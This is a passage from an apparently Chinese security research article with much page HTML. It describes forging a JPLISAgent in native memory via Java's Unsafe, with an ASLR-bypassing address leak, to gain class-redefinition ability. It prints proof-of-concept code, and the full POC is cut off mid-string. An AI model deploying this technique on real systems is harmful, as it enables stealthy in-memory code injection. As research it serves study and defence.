63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Native内存操作</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">想要在Native内存上创建对象，首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer，可以提供用户申请堆外内存的能力，这也就说明DirectByteBuffer是有操作Native内存的能力，而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的，这里我们也直接使用Unsafe进行Native内存操作。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">通过如下代码获取Unsafe：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Unsafe <span class="code-snippet__keyword">unsafe</span> = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    Field field = sun.misc.Unsafe.class.getDeclaredField(<span class="code-snippet__string">&#34;theUnsafe&#34;</span>);</span></code><code><span class="code-snippet_outer">    field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsafe</span> = (sun.misc.Unsafe) field.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">} <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AssertionError(e);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">通过unsafe的allocateMemory、putlong、getAddress方法，可以实现Native内存的分配、读写。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">分析JPLISAgent结构</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">接下来，就是分析JPLISAgent对象的结构了，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.28055555555555556" src="https://wechat2rss.xlab.app/img-proxy/?k=ab68d22c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP01Tc04I3HCwNmcoWCxAo4hWnP2v4SEQJyZTSk0uuo0LoOd4k0KdAWEg%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知，最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针，是通过jvmti(JPLISAgent)推导出来的，如下： <img data-w="1075" data-type="png" style="box-sizing: border-box;" data-ratio="0.2837209302325581" src="https://wechat2rss.xlab.app/img-proxy/?k=0ce0229e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0xEprQhopNicYNNUajbH9jAhPEUPgeicwTvTMPe6Plh335dRHBY9l3vdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">而jvmti是一个宏：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="640" data-type="png" style="box-sizing: border-box;" data-ratio="0.121875" src="https://wechat2rss.xlab.app/img-proxy/?k=2955dbe7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0Dxr1kvwTTAKdmiaX3V46xeBz1wP3Rs28byPh3lOgzHZJiag42LKapzuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">而在执行到*jvmtienv的redefineClasses之前，还有多处如下调用都用到了jvmtienv：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="902" data-type="png" style="box-sizing: border-box;" data-ratio="0.13303769401330376" src="https://wechat2rss.xlab.app/img-proxy/?k=2312f38c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0fMwW6ZiaevB3JLM60vJf9bISfj9W6iabia8C2HKibV2N7m2s3jwMQJluvA%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>因此，我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针，也就是JPLISAgent的mNormalEnvironment成员，其结构如下： <img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.14722222222222223" src="https://wechat2rss.xlab.app/img-proxy/?k=8047c809&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0QR2U7bm2oCUEllUjMsTzgr86l6r1XVzbwapibJJicCQC2aMztd6ogc4Q%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>可以看到这个结构里存在一个回环指针mAgent，又指向了JPLISAgent对象，另外，还有个最重要的指针mJVMTIEnv，这个指针是指向内存中的JVMTIEnv对象的，这是JVMTI机制的核心对象。另外，经过分析，JPLISAgent对象中还有个mRedefineAvailable成员，必须要设置成true。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">接下来就是要确定JVMTIEnv的地址了。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">定位JVMTIEnv</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">通过动态分析可知，0x000002E62D8EE950为JPLISAgent的地址，0x000002E62D8EE950+0x8（0x000002E62D8EEB60）为mJVMTIEnv,即指向JVMTIEnv指针的指针： <img data-w="915" data-type="png" style="box-sizing: border-box;" data-ratio="0.27759562841530055" src="https://wechat2rss.xlab.app/img-proxy/?k=7b5786d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0STl6KicbEsk73jyzU0XbJ4TODXta1hrGIUFJUyqxqMX5DP2CEtiaYw6A%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>转到该指针：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="897" data-type="png" style="box-sizing: border-box;" data-ratio="0.2318840579710145" src="https://wechat2rss.xlab.app/img-proxy/?k=9c472f92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0cQZBycGXHYZtpgB9Ck86NDRRlghpQyvTa4BkSdxqThw6uxkcXAv6hA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到0x6F78A220即为JVMTIEnv对象的真实地址，通过分析发现，该对象存在于jvm模块的地址空间中，而且偏移量是固定的，那只要找到jvm模块的加载基址，加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是，现代操作系统默认都开启了ASLR，因此jvm模块的基址并不可知。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">信息泄露获取JVM基址</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由上文可知，Unsafe提供了堆外内存的分配能力，这里的堆并不是OS层面的堆，而是Java层面的堆，无论是Unsafe分配的堆外地址，还是Java的堆内地址，其都在OS层的堆空间内。经过分析发现，在通过Unsafe分配一个很小的堆外空间时，这个堆外空间的前后内存中，存在大量的指针，而这些指针中，有一些指针指向jvm的地址空间。编写如下代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">long</span> allocateMemory = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;allocateMemory:&#34;</span>+Long.toHexString(allocateMemory));</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">输出如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="839" data-type="png" style="box-sizing: border-box;" data-ratio="0.14898688915375446" src="https://wechat2rss.xlab.app/img-proxy/?k=d66365cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0DhHqmH10tpoKPt1hnG0CC428YSoSEGEiaiaqIn6Wn2U9PCZ4K60BEpfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">定位到地址0x2e61a1b67d0：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="923" data-type="png" style="box-sizing: border-box;" data-ratio="0.847237269772481" src="https://wechat2rss.xlab.app/img-proxy/?k=4911c8a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0JSdH7QoEc6SPb26SvmliaEib3sBiaa3w93LwXgjiblptv5Itchgz0IkqPw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可见前后有很多指针，绿色的那些指针，都指向jvm的地址空间：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.22685185185185186" src="https://wechat2rss.xlab.app/img-proxy/?k=9a51f3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0JicmwUn1YbU8ibwIq9Fs7D0xKWniafXf9tR1OxH8XZZsQxTCZ1pGxfcnA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是，这部分指针并不可复现，也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的，也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时，最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序，多次运行程序，收集大量的前后指针列表，这些指针中有大量是重复出现的，然后根据指针末尾两个字节，做了一个字典，当然只做2个字节的匹配，很容易出错，于是我又根据这些大量指针指向的指针，取末尾两个字节，又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典，并根据指针重复出现的频次排序。POC运行的时候，会以allocateMemory开始，往前往后进行字典匹配，可以准确的确定jvm模块的基址。部分字典结构如下：&#34;&#39;3920&#39;:&#39;a5b0&#39;:&#39;633920&#39;,&#39;fe00&#39;:&#39;a650&#39;:&#39;60fe00&#39;,&#39;99f0&#39;:&#39;cccc&#39;:&#39;5199f0&#39;,&#39;8250&#39;:&#39;a650&#39;:&#39;638250&#39;,&#39;d200&#39;:&#39;fdd0&#39;:&#39;63d200&#39;,&#39;da70&#39;:&#39;b7e0&#39;:&#39;67da70&#39; 每个条目含有3个元素，第一个为指针末尾2字节，第二个元素为指针指向的指针末尾两个字节，第三个元素为指针与baseAddress的偏移量。基址确定了，jvmtienv的具体地址就确定了。当然拿到了jvm的地址，加上JavaVM的偏移量便可以直接获得JavaVM的地址。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">开始组装</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">拿到jvm模块的基址后，就万事俱备了，下面准备装配JPLISAgent对象，代码如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"> <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getAgent</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">long</span> jvmtiAddress</span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        Unsafe <span class="code-snippet__keyword">unsafe</span> = getUnsafe();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> agentAddr=<span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x200</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> jvmtiStackAddr=<span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x200</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr,jvmtiAddress);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr+<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0x30010100000071ee</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr+<span class="code-snippet__number">0x168</span>,<span class="code-snippet__number">0x9090909000000200</span>l);</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;long:&#34;</span>+Long.toHexString(jvmtiStackAddr+<span class="code-snippet__number">0x168</span>));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr,jvmtiAddress<span class="code-snippet__number">-0x234f0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x8</span>,jvmtiStackAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x10</span>,agentAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0x00730065006c0000</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//make retransform env</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x20</span>,jvmtiStackAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x28</span>,agentAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x30</span>,<span class="code-snippet__number">0x0038002e00310001</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x38</span>,<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x0072007400010001</span>l);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x60</span>,agentAddr+<span class="code-snippet__number">0x68</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr+<span class="code-snippet__number">0x68</span>,<span class="code-snippet__number">0x0041414141414141</span>l);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> agentAddr;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">入参为上一阶段获取的jvmti的地址，返回值为JPLISAgent的地址。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">完整POC如下（跨平台）：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">package net.rebeyond;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import sun.misc.Unsafe;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import java.lang.instrument.ClassDefinition;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Constructor;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer">import java.util.*;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PocWindows</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>) throws Throwable</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Unsafe <span class="code-snippet__keyword">unsafe</span> = getUnsafe();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Thread.sleep(<span class="code-snippet__number">2000</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//System.gc();</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Thread.sleep(2000);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> allocateMemory = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;allocateMemory:&#34;</span> + Long.toHexString(allocateMemory));</span></code><code><span class="code-snippet_outer">        String patterns = <span class="code-snippet__string">&#34;&#39;3920&#39;:&#39;a5b0&#39;:&#39;633920&#39;,&#39;fe00&#39;:&#39;a650&#39;:&#39;60fe00&#39;,&#39;99f0&#39;:&#39;cccc&#39;:&#39;5199f0&#39;,&#39;8250&#39;:&#39;a650&#39;:&#39;638250&#39;,&#39;d200&#39;:&#39;fdd0&#39;:&#39;63d200&#39;,&#39;da70&#39;:&#39;b7e0&#39;:&#39;67da70&#39;,&#39;8d58&#39;:&#39;a650&#39;:&#39;638d58&#39;,&#39;f5c0&#39;:&#39;b7e0&#39;:&#39;67f5c0&#39;,&#39;8300&#39;:&#39;8348&#39;:&#39;148300&#39;,&#39;4578&#39;:&#39;a5b0&#39;:&#39;634578&#39;,&#39;b300&#39;:&#39;a650&#39;:&#39;63b300&#39;,&#39;ef98&#39;:&#39;07b0&#39;:&#39;64ef98&#39;,&#39;f280&#39;:&#39;06e0&#39;:&#39;60f280&#39;,&#39;5820&#39;:&#39;4ee0&#39;:&#39;5f5820&#39;,&#39;84d0&#39;:&#39;a5b0&#39;:&#39;5b84d0&#39;,&#39;00f0&#39;:&#39;5800&#39;:&#39;8300f0&#39;,&#39;1838&#39;:&#39;b7e0&#39;:&#39;671838&#39;,&#39;9f60&#39;:&#39;b320&#39;:&#39;669f60&#39;,&#39;e860&#39;:&#39;08d0&#39;:&#39;64e860&#39;,&#39;f7c0&#39;:&#39;a650&#39;:&#39;60f7c0&#39;,&#39;a798&#39;:&#39;b7e0&#39;:&#39;69a798&#39;,&#39;6888&#39;:&#39;21f0&#39;:&#39;5f6888&#39;,&#39;2920&#39;:&#39;b6f0&#39;:&#39;642920&#39;,&#39;45c0&#39;:&#39;a5b0&#39;:&#39;5d45c0&#39;,&#39;e1f0&#39;:&#39;b5c0&#39;:&#39;63e1f0&#39;,&#39;e128&#39;:&#39;b5e0&#39;:&#39;63e128&#39;,&#39;86a0&#39;:&#39;4df0&#39;:&#39;5b86a0&#39;,&#39;55a8&#39;:&#39;64a0&#39;:&#39;6655a8&#39;,&#39;8b98&#39;:&#39;a650&#39;:&#39;638b98&#39;,&#39;8a10&#39;:&#39;b730&#39;:&#39;648a10&#39;,&#39;3f10&#39;:&#39;&#39;:&#39;7b3f10&#39;,&#39;8a90&#39;:&#39;4dc0&#39;:&#39;5b8a90&#39;,&#39;e8e0&#39;:&#39;0910&#39;:&#39;64e8e0&#39;,&#39;9700&#39;:&#39;7377&#39;:&#39;5b9700&#39;,&#39;f500&#39;:&#39;7073&#39;:&#39;60f500&#39;,&#39;6b20&#39;:&#39;a5b0&#39;:&#39;636b20&#39;,&#39;b378&#39;:&#39;bc50&#39;:&#39;63b378&#39;,&#39;7608&#39;:&#39;fb50&#39;:&#3